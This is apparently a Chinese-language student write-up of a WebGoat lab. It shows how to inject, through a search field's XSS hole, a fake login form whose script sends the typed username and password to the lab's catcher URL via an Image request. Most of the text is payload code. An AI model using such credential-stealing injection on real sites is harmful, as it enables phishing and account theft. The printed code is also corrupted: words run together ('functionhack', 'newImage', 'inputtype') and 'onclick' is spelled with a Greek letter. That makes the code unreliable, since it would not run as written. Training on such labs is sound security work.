目標:
僞造一個登陸界面,要求用戶輸入用戶名和密碼,將數據提交到http://localhost/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE
解決步驟:
首先:隨意輸入搜索內容,如:123.
打開源代碼,檢測是否有未關閉的標籤。由於這是一個入門級的練手任務,代碼漏洞百出,這一層就不用考慮了。
第二步:嘗試在搜索欄中插入JavaScript代碼,比如通用的:<script>alert("XSS!");</script>
成功報出提示信息:
值得注意的是,JS腳本語言的插入在我的機器上只能用IE實行,在chrome上則沒有任何反應。可能是chrome所用腳本語言有所區別。
第三步:構造代碼,僞造一個登陸界面:
<form><br><br><HR><H3>Thisfeature requires account login:</H3 ><br><br>EnterUsername:<br><input type="text" id="user"name="user"><br>Enter Password:<br><inputtype="password" name = "pass"><br><inputtype="submit" name="login" value="login"οnclick="hack()"></form><br><br><HR>
其中,οnclick="hack()"是用戶點擊登錄之後的按鈕行爲,具體函數在隨後構建。
第四步:繼續完善欺騙代碼,構建JS函數,將獲取的用戶名和密碼提交到相應的鏈接上。最後的輸入代碼如下:
<script>functionhack(){alert("Had this been a real attack... Your credentials were juststolen. User Name="+document.forms[1].user.value+"Password="+document.forms[1].pass.value);var XSSImage=newImage();XSSImage.src="http://127.0.0.1:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[1].user.value + "&password=" +document.forms[1].pass.value + "";}</script><form><br><br><HR><H3>This featurerequires account login:</H3 ><br><br>EnterUsername:<br><input type="text" id="user"name="user"><br>Enter Password:<br><inputtype="password" name = "pass"><br><inputtype="submit" name="login" value="login"οnclick="hack()"></form><br><br><HR>
這樣,當被欺騙的用戶輸入用戶名和密碼之後,將報出提示信息,並將用戶名和密碼發送到相應鏈接。
webgoat的提示說,如果創建一個image:XSSImage=newImage(),並聲明XSSImage.src=SOME_URL那麼JavaScript會執行一個提交。對JS語言不熟,這個今後再研究。